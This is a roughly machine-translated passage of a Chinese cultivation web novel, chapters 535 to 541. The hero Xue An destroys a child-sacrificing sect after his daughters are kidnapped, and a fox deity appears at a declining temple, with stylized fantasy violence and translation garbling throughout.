    The trafficker was vomiting blood when he was beaten, and he seemed to be about to die.


    When Du Fan heard Lu Kun said that the man was found, he was startled first, and then he was ecstatic.


    "Really? Are the two ladies all right!"


    "Safe and sound!"


    Du Fan took a sigh of relief and felt that the heart that had been hanging was finally released, and then gritted his teeth and said, "Did you catch the **** who kidnapped the two little girls?"


    Lu Kun looked at the grass (eggs) in the car and coughed, "Well... I was caught by two young ladies, none of them ran away!"


    Du Fan was stunned when he heard the words, and then he suddenly realized.


    Mr. Xue''s daughter, can that be an ordinary person?


    The guys who kidnapped them deserved bad luck too!


    Du Fan laughed, turned around and left the house.


    His subordinates also followed, and only the trafficker who was hung in the air groaned while vomiting blood.


    "Always ask me if I can say it, but are you him? Let me say something!"


    While vomiting, one of his men turned over and came back.


    The trafficker hurriedly showed a flattering smile, "Big Brother, the man has been found, let me down quickly!"


    Du Fan''s subordinate sneered, and suddenly cut the trafficker''s throat with a knife.


    The trafficker died in pain, and was full of unwillingness before he died.


    The man sipped to the ground, "Bah, scum!"

 Chapter 536： Dig a hole and plant her down

    When Wanting and Niannian came home surrounded by Du Fan and Lu Kun.


    The entire Tianzi No. 1 Villa was boiling.


    An Yan rushed out in an instant, hugged her two daughters, and her tears fell.


    "Missing me, you can scare mom to death!" An Yan choked and said.


    "Mom don''t cry!" Thinking and Nian nian very cleverly wiped away tears for An Yan.


    Seeing this scene, Qin Yu and Qin Yuan finally let out a sigh of relief.


    In any case, the two little girls returned safely. This is the best news.


    At this time, Lu Kun ordered the people to lift the grass (eggs) one by one.


    "What is this?" Tang Xuan''er asked curiously.


    Du Fan hurriedly said with a smile: "Everyone knows something, these are the villains who kidnapped the two young ladies, but they were **** by the two young ladies!"


    "Yes, and the two young ladies'' methods are like heavenly people, and they stomped and shouted to catch him! Those plants were very obedient to catch these bastards!" Lu Kun added quickly.


    An Yan looked down at her two daughters.


    "Is that so?"


    Think and Niannian nodded, "Well, these big bad guys deceived us there, and they said they would treat us as sacrifices. Then we knocked them to the ground with the pan that Dad gave them, and ordered the whole courtyard to be filled with grass. Bund them up."


    Everyone looked at each other.


    She really deserves to be Mr. Xue''s daughter. She is only five or six years old and she is already so amazing!


    "So these people are still alive?" Tang Xuan''er poked one of the grass (eggs) with a finger curiously.


    Like a living thing, the grass ball suddenly began to wriggle.


    Tang Xuan''er was so scared that she took a few steps back, "Live... live!"


    I saw a head exposed above the grass ball.


    It was Xu Jiaojiao who deceived the two girls in the aquarium.


    She was scared enough at first, but now when she saw so many people in the field, she was even more out of her mind.


    "Spare! These people from the sect forced me to do it! It has nothing to do with me!"


    Thinking about it, she pointed at her, "Mom, this person lied to us!"


    Niannian nodded, "Yes, even children cheat, really the worst villain!"


    After hearing this, everyone looked at Xu Jiaojiao with unkind expressions.


    But An Yan was the biological mother of the two little girls, so everyone looked at her.


    At this moment, An Yan''s complexion gradually became gloomy.


    She is gentle and good-tempered, but it does not mean that she can tolerate such things.


    If it wasn''t for his two daughters to be protected by heavy secret techniques, if it were two ordinary children.


    It is probably now a **** corpse.


    "Take it down the mountain and find a place to dig a hole and plant her down!" An Yan said lightly.


    hiss!


    Du Fan and Lu Kun took a breath at An Yan''s instructions.


    They said to their hearts that this Madam Xue looked weak and weak, but she didn''t expect to be cruel enough to start her hands!


    It seems that none of Mr. Xue''s side is good.


    Xu Jiaojiao was so frightened that she wept bitterly, and she kept saying that she was wrong, and never dared to do it again.


    Rukun was annoyed by the quarrel, took off his socks and put them in her mouth, and then led a few people to carry the grass ball and went down the mountain.


    "What about the rest?" Qin Yu asked.


    An Yan shook his head, "When my husband comes back, I will deal with them! I miss someone who said they wanted to sacrifice, maybe some evil sect!"


    Qin Yu nodded, "Then when will Mr. Xue come back?"


    "I guess it should be soon!"


    As he was speaking, he heard the faint sound of wind and thunder coming from the sky, and then saw a streamer flying across the sky at an extremely fast speed, and instantly came to the door of the villa.


    "Who is that dare to kidnap my two daughters?" A voice full of infinite anger came.


    Then the streamer stopped on the ground, it was Xue An.


    "Dad!" The two daughters rushed up with cheers.


    Xue An hurriedly squatted down and checked carefully with spiritual thoughts, and he was relieved when he found that the two daughters were safe and sound.


    He had just returned from the Secret Realm of the Monster Race at the moment, because he was afraid that Fat Aunt and Old Xie were anxious, he asked Xiaosha to send Wei Ruyan back to Zhongdu directly, and he sent Xie Jingjing back first.


    Of course, this is also because Xue An can feel the presence of the two daughters and An Yan, thinking that they are all right, so he did so.


    But after arriving at the Lao Xie Hotel, the door was locked.


    I only found out after asking the neighbors around me, because the news of the ferry crash had been passed back.


    Old Xie and Fat Aunt couldn''t bear such a heavy blow, and both fell ill.


    Xie Jingjing burst into tears when she heard it.


    Xue An led Xie Jingjing to the hospital non-stop.


    As the neighbors said, the two elderly people are lying in intensive care beds, and they can''t even get out of the bed.


    Especially the fat auntie, she was so thin and out of shape in just a few days.


    Wait until Xue An enters the ward with Xie Jingjing.


    The two old men thought they were dreaming.


    When they knew it was true, they were dying and jumped up from the bed, crying and laughing while holding Xie Jingjing.


    When Xie Jingjing talked about it, it was after Xue An rescued her daughter.


    Old Xie and Fat Aunt plopped and knelt on the ground.


    Xue An hurriedly helped the two of them up and said with a smile: "They are all from my own family, Jingjing is just like my sister, why be so polite?"


    Lao Xie and Fat Aunt were actually not ill at all, they were just struck by the pain of losing a daughter. Now seeing Xie Jingjing safe and sound, the illnesses recovered at that time.


    Then Lao Xie hesitated.


    "Xiao''an, did you just come back?"


    "Yeah, what''s the matter?" Xue An said.


    Old Xie and Fat Aunt glanced at each other, and then said: "We will tell you something, don''t worry!"


    "what happened?"


    "Although we are in the hospital, we also heard rumors that the two girls Missing and Niannian are missing! We are looking for it, and I don''t know if we have found it now..."


    Before the words fell, a gust of wind blew in the ward, and all the equipment was instantly compressed into a ball.


    And Xue An looked murderous.


    He really didn''t know about it.


    Because in the divine mind, the two daughters are very normal, UU read , so he never thought that he would disappear.


    "I''ll check it out!" Xue An said, breaking through the hospital window and heading straight to Villa No.1 Tianzi.


    This is how he came here.


    Now that he saw that the two daughters were indeed safe and sound, he was completely relieved.


    An Yan also walked over at this time, like a kid who did something wrong, lowered her head and whispered: "Husband, I..."


    Xue An waved his hand and smiled slightly, "Well, don''t say it! I know it! No wonder you."


    An Yan''s eyes blushed. She knew that Xue An would definitely not blame herself, but she still felt very guilty in her heart.


    After all, the two daughters were lost while following themselves.


    At this time, Qin Yu, Qin Yuan, Du Fei and others saw Xue An''s return, and Qi Qi stepped forward to salute.


    "Mr."


    Xue An nodded slightly, but his eyes fell on the grass **** in front of the villa.


    At this time, thinking and Niannian said: "Dad, these big bad guys wanted to bully us, and we were arrested in the end. Let''s be awesome!"


    Xue An lowered his head and smiled at the two of them, "Really, it''s really amazing to miss you!"


    Then he raised his head and said to An Yan, "Go into the house with longing!"

 Chapter 537： Ill go back

    An Yan understood what Xue An was going to do, so he leaned down and said to the two little girls: "Go, mom will get you ice cream!"


    "Then I want to eat vanilla!" Niannian said.


    "I want to eat strawberries!"


    "Vanilla is the best!"


    "Strawberries are delicious!"


    The two little girls began to quarrel daily.


    Xue An looked at it with a smile.


    Until An Yan and Tang Xuan''er led the two little girls and disappeared behind the door.


    His expression gradually cooled down.


    Yu Han asked, "What the **** is going on!"


    Qin Yu and the others trembled and hurriedly recounted the details.


    Just at this time, Lu Kun buried the people and returned, so he added.


    After Xue An listened, he nodded slightly and said to Du Fei and Lu Kun, "You did a good job!"


    The two of them looked happy, and hurriedly bowed and said, "Sir, you are polite, this is what we should do."


    Xue An was noncommittal, looked at the grass **** on the ground and waved casually.


    The plants withered instantly, revealing the people inside.


    These people can hear the movement outside when they are trapped inside.


    So as soon as they got out of trouble, they all ran away.


    None of these people are fools.


    The murderous aura exuded by Xue An was about to be solidified.


    This kind of momentum is obviously not ordinary people.


    Therefore, it is natural to escape.


    But when they were about to rush out of the open space in front of the villa.


    A few sword lights passed by.


    The legs of the few people who rushed to the front were directly cut off, and then fell to the ground, holding the broken leg and screaming.


    Elder Wu Zhu has been hiding in the crowd.


    He is a very thief, and he will never be ahead of him.


    This saved his life.


    But when he saw the tragedy of these fellow clan members, he still couldn''t help but feel a little creepy.


    His cultivation is the highest among this group of people.


    The more so he can realize how terrifying the aura from Xue An is.


    It was like a vast ocean, chilling.


    So at this moment, he gritted his teeth and stomped his feet suddenly, and the whole person rose into the sky, wanting to fly away from the sky.


    Xue An had noticed him a long time ago.


    Seeing that he wanted to fly away, he couldn''t help but smile coldly.


    A few strands of sword light flew across the sky, directly blocking his front.


    Wu Zhu still wanted to dodge, but these sword glows turned into flexible ropes and directly tied him up and threw him underground.


    Wu Zhu struggled, trying to break free.


    "Do you still want to run now?"


    Xue An said lightly, slowly walking towards him.


    With every step taken, some of the remaining people were cut directly by Jian Mang and fell to the ground.


    By the time Wu Zhu approached him, all of these people had died.


    A strong **** atmosphere spread, making Wu Zhu who was used to seeing blood and death fear it.


    Xue An had already walked in front of Wu Zhu at this time, looked at him condescendingly, and after a while, he said calmly: "Wumen?"


    Wu Zhu trembled, "Yes...yes! Who are you? If you kill my sect disciple, will you not be afraid of my sect''s revenge?"


    Xue An raised the corners of his mouth, showing a cold smile, "My name is Xue An."


    Wu Zhu was shocked, his complexion suddenly turned pale.


    "You... are you actually Xue An? How could it be possible that you are not in Zhongdu? Those two little girls are..."


    "My daughter."


    Wu Zhuxin was completely cold.


    Xue An''s prestige is now in full swing.


    As the elder of the Voodoo Gate, he naturally knew it.


    He trembled all over at the thought of the deeds of a sect that was killed at every turn.


    "Big...sir, I really don''t know that it is your daughter, and the instigator has been planted in the ground by Madam Ling. Please forgive me, okay?"


    Xue quietly watched Wu Zhu''s tearful performance.


    "Do you know why I didn''t kill you directly?"


    Wu Zhu was taken aback.


    "Because I want to see if people like you are afraid when they are dying!"


    Wu Zhu shouted, "My lord, I can tell you where the Voodoo Gate is. I can even take you there. As long as you let me go, I can do anything."


    Xue An shook his head, "Too much trouble! It''s better to search directly from your soul!"


    "No..." The scream stopped abruptly.


    Xue An directly pulled Wu Zhu''s spirit out of his body.


    A reduced version of Wu Zhu bowed down in Xue An''s palm, begging for mercy.


    Xue An suddenly shook it.


    Click.


    Wu Zhu''s soul was crushed directly.


    Xue An couldn''t help groaning angrily after seeing the scenes in Wu Zhu''s memory of using children as sacrifices.


    A boiling fire of karma rose from the bodies of these corpses.


    Karma burns one''s body, the soul is destroyed.


    After a while, the last trace of these people in the world was also obliterated.


    Qin Yu, Du Fei and others all looked pale.


    They knew Xue An would definitely not let these guys go.


    But I didn''t expect Xue An to shoot so hard.


    "Sir..." Qin Yu stepped forward, trying to say something.


    Xue An waved his hand, "You are waiting here, and I will be back when I go!"


    After all, the whole person rose into the sky, turned into a stream of light and disappeared into the sky.


    It was the first time that Lu Kun saw such a mysterious scene. He couldn''t help but swallowed and asked: "Boss, what are you going to do, Mr. Xue!"


    Du Fei smiled, "Mr. Xue should be planning to uproot the sects of these people!"


    "Huh?" Lu Kun obviously couldn''t react, "Isn''t it all dead..."


    Du Fei shook his head and looked at Xue An''s direction with some admiration, "What do you know, these people are obviously not doing this kind of thing for the first time! Mr. Xue is also doing harm to the people!"


    At this moment, Xue An quickly came to a valley in the vast northwestern mountains according to Wu Zhu''s memory.


    This place is remote, and it is full of poor mountains and rivers, and there is no one in the wild, and it is simply a Jedi.


    Xue An was flying above the sky and didn''t bother to solve any formations, so he stomped directly.


    A light curtain suddenly appeared above the valley.


    But under Xue An''s foot, he didn''t hold on for even a second, and he broke into pieces.


    Only then did the following real scene emerge.


    I saw a huge altar covered with blood in the middle of the valley, and beside the altar was a small village built up with black stones.


    In the middle of the village, there is a huge black banner erected with three ancient seal characters written on it.


    At this moment, the sects of these voodoo sects also saw the sudden appearance of Xue An, and rushed out.


    "Who is Ernai, why did you suddenly break into my voodoo sect?" a man with all kinds of strange patterns on his upper body asked in a deep voice.


    Xue An has been looking at the altar, ignoring the man''s question.


    This obviously angered this person, and saw him yelling: "What a madman, you dare to despise me, die!"


    After all, the whole person turned into a gorgeous tiger, flying towards Xue An.


    Xue An didn''t even look at it, but directly raised his hand.


    boom.


    This gorgeous tiger was smashed into the ground and became a pool of flesh.

 Chapter 538： Do not stay

    There was a commotion among the disciples of the voodoo sect.


    "Not good! Elder Tiger was killed!"


    The screams came and went one after another.


    Xue An withdrew his gaze from the altar, his complexion grew colder.


    Because he saw countless children''s souls attached to the altar, it can be seen that they have sacrificed more than once.


    This made Xue An a murderous heart, and he didn''t bother to talk nonsense.


    As soon as he raised his hand, countless sword lights emerged.


    "kill!"


    The sword light was like a sea, directly swallowing all the disciples below.


    "Be merciful!" At this moment someone shouted and rushed over.


    But it was too late.


    But in the blink of an eye, these people all turned into blood.


    At this time, four or five people rushed over from the village.


    When I saw the scene in front of me, my face turned pale.


    But the strength that Xue An had just revealed made these people quite frightened, and they tried to suppress the anger in their hearts and asked.


    "Senior, why slaughter my voodoo sect doorman for no reason?"


    Xue An looked at the speaker playfully, "You are..."


    "I am the lord of the Voodoo Sect, Wu Qi."


    "Very good!" Xue An nodded, then pointed to the altar.


    "Sacrifice with young children, this is the reason for slaughtering your Voodoo Sect!"


    After all, Xue An is about to do it.


    Wu Qi was stunned when he heard the words, and hurriedly shouted: "Senior, wait a minute! You and I are both cultivators, but ordinary boys, why bother in such a situation?"


    "The ordinary boy?" Xue An''s eyes grew colder.


    Wu Qi smiled, "Predecessors, people who practice cultivation are going against the sky, and people don''t kill themselves for their own sake, and the life of mortals is to help me wait for cultivation. What''s wrong?"


    Xue quietly looked at this boastful Wu Qi.


    Suddenly I understood why the extremely tyrannical Wu Sect had declined.


    Because these reasons make the evil cultivators stunned, in the eyes of the witches, they are common and strange things.


    Not to mention anything else, just say that those cruel people who died and sacrificed to the living in ancient times can see the disposition of witches.


    To put it bluntly, these witches are completely self-interested.


    But Xue An''s silence made Wu Qi mistakenly think that he was acting on him, and couldn''t help but say: "Senior''s killing of my people is hereby exposed, and I am waiting to be friends with Senior!"


    "Friends?" A cold smile appeared at the corner of Xue An''s mouth. "Will everyone in Wumen have friends?"


    Wu Qi smiled, "Friends are used to make use of them. Seniors have a high level of cultivation, but I am not bad after waiting. After becoming friends, it will naturally benefit both parties."


    Xue An just smiled upon hearing this, "Benefits?"


    Wu Qi said proudly: "Yes! As long as the seniors are willing to form an alliance with me, I can even tell you some secrets handed down from ancient times!"


    "You know, in terms of history, no sect is older than my Wumen!"


    Xue An shook his head, "Too much trouble!"


    "Trouble?" Wu Qiyi was taken aback.


    "I want to know, I killed you! Why ask you again?" Xue An said lightly.


    Wu Qi''s expression grew colder when he heard this, and he sneered: "Senior, don''t you really think I''m afraid of you?"


    "You made a mistake..." Xue An said lightly, "That means you are not qualified to negotiate terms with me!"


    Having said that, Xue An disappeared in the same place and directly landed in front of Wu Qi, blasting out with a punch.


    Wu Qi was furious, "I don''t know what is good or bad!"


    At the same time, he raised his fist to fight back.


    boom!


    Wu Qi was directly bombed out, and before it landed, it was broken into pieces.


    The remaining elders were shocked, and Xue An took a picture of it when they just wanted to do it.


    The huge palm power directly slapped these elders into meatloaf.


    But at this moment, the black light on the altar flickered, and then I saw Wu Qi, who had been blown up, come out of it, a trace of disdain appeared at the corner of his mouth.


    "It''s useless, this is my home court, you can''t kill me at all!"


    Xue An looked at him and said solemnly: "Rebirth by soul?"


    Wu Qiyi was taken aback, "How do you know this?"


    Xue An''s intent to kill was crazy.


    He just discovered that the virgin soul attached to the altar was much less, and then he remembered an extremely cruel witchcraft secret technique.


    Using the altar as a seal and the soul as a guide can regenerate a person.


    But the price is that those virgin souls will dissipate completely.


    "Very well, it looks like you really deserve to die!"


    Following Xue An''s words, countless sword lights appeared, surrounding the Wu Qi Tuan Tuan.


    Wu Qi was so busy watching, "Hehe, I really can''t stand you self-proclaimed immortal cultivators. If you have the ability, you can kill me now. If you kill me anyway, I will use those souls to be reborn again! Hahaha !"


    Wu Qi''s laughter stopped abruptly.


    Because the sword energy like the sea has swallowed him.


    "Aren''t you afraid that these souls will dissipate?" Wu Qi yelled in anger.


    Xue An said coldly: "Just because you want to threaten me?"


    After saying that, Wu Qi was directly cut into powder by Jian Qi.


    At the same time, Xue An''s majestic spirit unfolded.


    A gray light rose from the corpse and went straight to the altar.


    Xue An snorted coldly, and Divine Mind directly intercepted the gray light.


    Wu Qi finally knew that he was afraid.


    "Ancestral witch save..."


    Xue An didn''t give him a chance to beg for mercy at all, and directly strangled him.


    But at this moment, a voice suddenly came from the altar.


    "Who is it that dare to destroy my descendant!"


    With the voice, a powerful spiritual mind gradually rose.


    This divine thought seems to come from the wild, full of desolation and simplicity.


    Xue looked at him quietly, and said indifferently until this divine thought was completely formed.


    "A trivial ancestor witch, dare to presume in front of me?"


    With that, he took a step, and the sword light turned into a giant sword and held it in his hand.


    "Today, I will seek justice for those vain children!"


    "My lord, don''t want me..." The Ancestral Witch felt Xue An''s powerful aura and immediately began to beg for mercy.


    Xue An didn''t give him this opportunity at all, and directly swung a sword.


    A sword light that slashed the sky and the jedi smashed down, directly smashing the ancestral witch''s spirit, and the remaining power was not eliminated, and the altar was also chopped in half.


    This ancestral witch was also unlucky. He had heard the call of his heir, and wanted to come over and pretend to be *.


    But after encountering Xue An, who was intent on killing, , there was no chance to resist, so she was crushed by this shocking sword.


    After the altar was destroyed, the souls of these children were seen floating out of it, and half of the sky was densely standing, all looking at Xue An with a dull expression.


    Xue An sighed slightly.


    "The dust returns to the dust, the soil returns to the soil, I have killed the people who killed you, and now I will help you again, so that you can enter the reincarnation early!"


    After all, Xue An Linkong drew a very complicated talisman seal, and then drank it suddenly.


    "The fate is over, re-enter the cycle! Let''s go!"


    boom.


    Fu Zhuan radiated a soft light, and the faces of these souls gradually showed excitement and gratitude, and they nodded to Xue An.


    Then these souls became weaker and lighter, and finally disappeared between the heaven and the earth.


    Xue An sighed.


    It may be because of his daughters. When he saw the souls of these children, he always couldn''t suppress his own killing intent.


    The cultivator is indeed going against the sky, but it is the sky that is against the sky, not the billowing sentient beings of the world.


    And if there is nothing, how come?


    Thinking of this, Xue An raised his hand, and the endless karma devoured all the buildings. Under the raging burning, this voodoo sect was completely destroyed and became history.

 Chapter 539： Tortoiseshell secret

    At this moment, there was a group of brilliance lingering in the altar after the burning.


    "Hey, this is..."


    Xue An gave a light huh and raised his hand, and the brilliance flew into his hand.


    It is a huge tortoise shell!


    The tortoise shell is engraved with mysterious and simple runes, full of ancient atmosphere.


    Xue An came interested.


    This is obviously a tortoise shell used to remember things in ancient times.


    Unlike the jade slips commonly used by today''s cultivators, in ancient times, important events were recorded on this kind of spirit turtle carapace!


    And when Xue An just killed Wu Qi, he got a lot of inexplicable information from his memory!


    There is a sentence among them, the heaven and the earth are absolutely connected, the gods come!


    Could it have something to do with this tortoise shell?


    However, this Wu Qi obviously didn''t know how to use this tortoise shell, and it was only based on guessing and misleading to come up with such a specious sentence!


    Thinking of this, Xue An controlled his mind, like a pen, slowly filling the runes on the tortoise shell!


    The rune gradually lit up.


    When the last rune was also lit, Xue An felt shocked.


    Picture after picture appeared in front of him.


    First, the heavens and the earth were first opened, and the land was just rising, the ancestors of the human race appeared on the earth, and they were fighting with that kind of powerful behemoth.


    Then I saw the Golden Crow disaster, a giant ten feet tall standing on the top of the mountain, shot down eight Golden Crow with an arrow.


    There is also a stranger with a human head and a snake **** drew gossip graphics on the tortoise shell. At that time, the sky and the earth shook and the ghosts and gods howled.


    Another huge wave overthrows China, and a tall and mighty human leader leads the people to break through mountains and open rivers, and control water in all directions.


    This picture is full of the grandeur and desolation of the ancient times.


    Xue An knew that this was the ancient power using magical powers to seal these pictures on tortoise shells for future generations to view.


    And in these pictures, Xue An has discovered many legendary gods, ghosts and monsters more than once.


    At that time, the Chinese ancestors were also very powerful.


    It can be seen that the world was full of aura at that time, and it was not the one Jedi it is now.


    At this time, these pictures gradually dissipated, and a huge image appeared.


    In this image, a giant tree stands between heaven and earth.


    Gods and demons can follow this giant tree to and from the world.


    Xue An''s eyes narrowed.


    This is... Jianmu!


    Legend has it that this built mummy was a bridge between heaven, earth, man and **** in ancient times.


    At this moment, the screen suddenly turned, and a sword light flashed by the sky, and the Jianmu was cut off.


    After a huge earthquake in the aftermath, the road between humans and gods was cut off, and the aura began to wither.


    The image shattered suddenly.


    Xue An stood still and sighed slightly after a while.


    "Unbelievable! I didn''t expect the legend to be true."


    At this moment, small cracks appeared on the tortoise shell.


    Then there was an ancient voice coming.


    "This world will protect the human race for thousands of years! But after 10,000 years, the heaven and the earth will be incommunicado, and the gods will come. At that time, I would like the younger generation to come forward and bless the Chinese."


    When the words fall, the tortoise shell is broken and turned into powder, dissipating in the world.


    Xue An was silent.


    He knew that the person who transmitted the sound just now was the Chinese ancestor who cut Jianmu.


    And as the tortoise shell dissipated, the last trace of this person in the heavens and the earth had disappeared.


    "Senior, rest assured, Xue An, I would like to protect this world!"


    When Xue An returned to Beijiang, Qin Yu, Qin Yuan, Du Fei and others were all waiting in the living room.


    When they saw Xue An walking in, they stood up.


    "Mr����."


    Xue An nodded, "The Voodoo Sect is destroyed, you can go back!"


    Everyone''s heart shuddered.


    From Xue An to the present, it has only been three hours at most.


    Unexpectedly, a sect was destroyed.


    Everyone left one after another.


    Xue An stepped upstairs.


    Xiaosha and Zhang Xiaoyu have also returned from it, watching TV in the living room on the second floor.


    After seeing Xue An, Xiao Sha hurriedly stood up and asked with some regret: "Boss, why don''t you wait for me for a while? I''ll go with you to destroy the **** sect!"


    Xue An shook his head and chuckled, "Okay, it''s just a small sect, so why bother to move the crowd!"


    An Yan and Tang Xuan''er were also on the sidelines.


    Xue An looked around and asked softly: "Think about it and miss it?"


    "Already asleep!" Tang Xuaner said.


    "Today they were so tired that they fell asleep without even eating dinner!" An Yan said.


    Xue An smiled slightly, "Well, you all go to rest!"


    Tang Xuan''er nodded and turned back to her room.


    Octopus also wants to watch TV.


    But Xiaosha picked it up directly from the sofa, "Go, you sleep with me!"


    Zhang Xiaoyu blushed, and said twitchingly: "Officials, you still want to pity you!"


    Xiao Sha didn''t understand what it meant at all, and couldn''t help being a little surprised, "What did you say?"


    An Yan couldn''t help but laughed. When Xiao Sha saw the mistress laugh, she knew that this was definitely not a good thing, and her face was cold.


    "It seems that you are still living too well!"


    Said that he picked up the octopus and left.


    Xue An and An Yan were left in the living room.


    Xue looked at An Yan quietly, without speaking.


    The smile on An Yan''s face gradually dissipated, her head was buried lower and lower, and her eye circles slowly turned red.


    "Husband, I''m sorry, don''t be angry! Okay?" An Yan whispered.


    Xue An still did not speak.


    An Yan''s tears fell, "It''s all my fault, I didn''t think I missed it. You scold me, even if you beat me, don''t ignore me, okay?"


    The corners of Xue An''s mouth raised, revealing a narrow smile.


    "Oh? How are you going to apologize?"


    "Husband, you can say anything!" An Yan raised her head, tears full of her face.


    Xue An was shocked.


    He just wanted to tease An Yan, but he didn''t expect this silly girl to take it seriously.


    Xue An was so distressed that he couldn''t wait to slap himself twice, and quickly stepped forward and hugged An Yan.


    "Stupid girl, how can I be angry! Think about and Niannian lost, the most sad and upset person is you! I''m too distressed yet too late, how can I still be angry with you!"


    An Yan was lying in Xue An''s arms, and all the fright and grievance that had come this day were hooked out by Xue An''s words and couldn''t help crying.


    "Old...husband, I really didn''t mean it! I was so scared, I was thinking, if I missed something and read something, then I won''t live!"


    Xue An gently stroked her back in distress, and said softly: "Okay, don''t cry! Isn''t it okay to miss me? And the bad guys have been killed by me, and the souls are scattered!"


    "But I''m still scared, what if something happens?" An Yan raised his head and asked dimly with tears.


    Xue An smiled faintly, "My Xue An''s daughter, absolutely nothing will happen! Even if the emperor is here, she has to quit obediently! Understand?"


    "Then you... are you not angry?"


    "Hey, I just wanted to tease you, who knew you would cry!"


    "Hate, big bad guy! I bit you!" An Yan lay in Xue An''s arms, furious.


    Xue An smiled and hugged her tightly.


    "Okay, it''s all over! Don''t be stupid in the future! Even if you do something wrong, even if you are an enemy of heaven and earth, remember that your husband will always stand by your side! Understand?"


    An Yan''s body was soft, and she gave a humming like a kitten.


    The night is gradually rising.


    Covered the second floor.

 Chapter 540： Get to know, my name is Fox Night

    Fanjing Mountain, Lingying Palace.


    Once the place where incense was at its peak, now it has become extremely deserted.


    Even the roof of the main hall had a big hole broken, and it was covered with plastic sheets indiscriminately, looking so desolate.


    Squeak.


    The door of the palace made a toothy rubbing sound, Shi Xueqing''s style came in and began to offer incense according to custom.


    There is a scent of fragrance every day, as long as Shi Xueqing is in the Lingying Palace, this is an untouchable homework.


    It''s just that today''s Shi Xueqing has a look of worry on her face.


    While enjoying the incense, whispered softly.


    "Master Patriarch, you can manifest your spirit! I will starve to death if you don''t manifest the spirit! You must know that I am the only one left in the entire Lingying Palace!"


    "The Golden Wind Academy at the foot of the mountain has sent people here again, and they keep saying that our Lingying Palace is their property. This is simply slanderous! But who is now a master of heaven and human?"


    "Over the past year or so, countless cultivators have broken through. Before, Xiaoyao was rare, and heaven and humans were superb, but now Xiaoyao is no longer unusual, and heaven and humans are commonplace."


    "Only I, the cultivation base has not been saved, but it has regressed! If you don''t show up, you may not even be able to keep your hall! When the time comes, someone will throw your idol into the pit, don''t blame me! "


    Shi Xueqing mumbled, inserting a stick of fragrance into the incense burner, and looked up at the slightly dim idol.


    This is a statue of a fox fairy, and I don��t know if it came from a skilled craftsman.


    Shi Xueqing looked at the silent idol quietly, and sighed slightly.


    "I''m too blind, what can I say to you?"


    After that, he shook his head, turned and left.


    But as soon as she turned around, a light flashed in the fox fairy''s eyes.


    As Shi Xueqing said, she is the only one left in this huge Lingying Palace.


    Even a tortoise raised by Shi Xueqing was bored and died on a hunger strike last month.


    Shi Xueqing made a simple meal, and after the meal, he moved to a Mazha and sat in the courtyard in a daze.


    The former bustling courtyard has now become dilapidated.


    In such an environment, Shi Xueqing''s existence seemed so out of place.


    With her looks and temperament, going down the mountain to find a job is better than spending here.


    For example, the Yu family graciously retained Shi Xueqing to live in Lingnan.


    But Shi Xueqing still came back.


    Because she feels that this is her root.


    While holding Xiangji thinking about something, the door of Lingying Palace was kicked open.


    A dozen big men filed in, and then a middle-aged man with a gloomy face slowly walked in.


    After seeing Shi Xueqing sitting in the courtyard, the man''s eyes flashed with undetectable greed, and then he smiled.


    "Sister Xueqing, have you thought about it?"


    Shi Xueqing''s expression turned gloomy, "Fang Jinfeng! Are you really deceiving me in Lingying Palace? It has only been a few years since your Jinfengyuan moved here, and my Lingying Palace has been here for thousands of years. Say this is your property?"


    Fang Jinfeng chuckled, "Sister Xueqing, now that the strong is respected, your cultivation is not as good as me, and your power is not as good as me. Then I will say this is my property. What can you do?"


    "And it''s not just this Lingying Palace, even you... I want to own it! After all, aren''t you enshrining a fox fairy? And if the fox fairy says it''s white, isn''t it a fox fairy?" Fang Jinfeng said with a smile, his face full of silver evil.


    His words drew roars of laughter from his gang.


    Shi Xueqing looked more and more ugly, and gritted his teeth and said, "Fang Jinfeng...this is your own death!"


    Having said that, he gathered up his whole body and rushed over.


    But she didn''t even touch the corner of Fang Jinfeng''s clothes, and was shocked by Fang Jinfeng''s momentum.


    "Hehe, in front of my celestial and human state, you are no different from a child!" Fang Jinfeng said proudly.


    "Why? Angry? Hehe, who made you worship the fox unworthy? Now that all people have improved their cultivation, you are the only one who has regressed! You can''t blame others for this! You can only blame you for this spirit. The fox fairy enshrined in the palace is useless! Hahaha..."


    Fang Jinfeng laughed loudly, and before the ridiculous sound fell, he saw a black light flying by, slamming his face directly.


    Fang Jinfeng was fanned and flew more than ten meters off the ground. After landing, half of his face was swollen and tall.


    And after the black light fell on the ground, it was a broken brick.


    This scene shocked everyone.


    And Fang Jinfeng roared even more: "Who? Who dares to hit me?"


    At this time, someone in the main hall sighed, "I didn''t expect that the dojo here would have been ruined like this after a thousand years!"


    Following the voice, one person slowly walked out of the hall.


    After seeing this man, everyone was stunned.


    Because this is a man who can only be described as enchanting.


    Whether it''s facial features or behavior, they are perfect and impeccable.


    Especially those eyes that are always smiling and squinted are enough to make many women feel ashamed.


    Seeing this, Fang Jinfeng was taken aback for a moment, and then sneered, "No wonder he refused to leave for anything. It turned out to be a man in hiding!"


    Shi Xueqing did not speak, because she was staring at the man blankly.


    The breath of this person made her feel extremely close.


    But more importantly, the clothes that this man wore... weren''t the clothes worn by the fox fairy statue?


    Shi Xueqing''s eyes gradually rounded.


    After hearing Fang Jinfeng''s words, the man still smiled.


    "Are you going to occupy my dojo?"


    Fang Jinfeng''s face turned harshly, "Boy, you hit me just now?"


    The man nodded.


    "Well, since you are nosy, take your life!" Fang Jinfeng wanted to rush forward.


    But as soon as he moved, the man raised his hand and another black light hit the other side of Fang Jinfeng''s face directly.


    boom.


    Fang Jinfeng was smashed far away again, his face swelled on the other side.


    "Does this look symmetrical! You don''t know, I have a very serious obsessive-compulsive disorder!" The man said with a smile ~ www.novelhall.com ~ Fang Jinfeng did not dare to be arrogant this time.


    After being beaten twice, the fool knew that this man was not easy to provoke.


    "Huh, kid, you wait for me!"


    After that, he turned and left.


    The man smiled faintly, "Just want to leave like this?"


    "how is it?"


    "Leave one thing and let you go!"


    "what?"


    "Head!"


    Fang Jinfeng and his men were furious and wanted to do something.


    As soon as the man waved his hand, the heads of these people flew up and the dead bodies fell to the ground.


    The man sighed slightly, then he murmured silently in his heart.


    Damn, how come his acting style is becoming more and more like that of Xue An!


    No, you have to change it!


    Then turned around and stunned, Shi Xueqing smiled slightly, "Are you a disciple of my dojo?"


    Shi Xueqing trembled slightly and nodded quickly, "You...you are..."


    "Get to know, my name is Fox Night!" The man pointed to the hall with a smile, "The idol that you enshrine in it is me!"

 Chapter 541： Patriarch, are you fighting against it?

    Shi Xueqing looked at this man in disbelief.


    "You... Are you Patriarch?"


    Hu Ye nodded, "You can say the same, right, do you have money?"


